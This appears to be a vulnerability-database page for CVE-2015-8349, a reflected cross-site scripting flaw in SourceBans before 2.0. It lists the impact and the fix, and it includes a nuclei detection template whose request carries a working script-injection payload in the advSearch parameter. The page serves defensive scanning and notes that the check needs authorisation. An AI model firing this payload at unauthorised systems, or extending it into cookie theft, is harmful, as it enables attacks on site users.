HexBrain

Browse / CVEs / CVE-2015-8349

CVE-2015-8349· gameconnect / sourcebans· CWE-79

SourceBans <2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a version of SourceBans that is 2.0 or above, which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/" AND status 200

Run it with nuclei: nuclei -id CVE-2015-8349 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-8349

info:
  name: SourceBans <2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of SourceBans that is 2.0 or above, which includes a fix for this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23273
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8349
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-8349
    cwe-id: CWE-79
    epss-score: 0.03263
    epss-percentile: 0.88486
    cpe: cpe:2.3:a:gameconnect:sourcebans:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gameconnect
    product: sourcebans
  tags: cve2015,cve,xss,sourcebans,gameconnect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from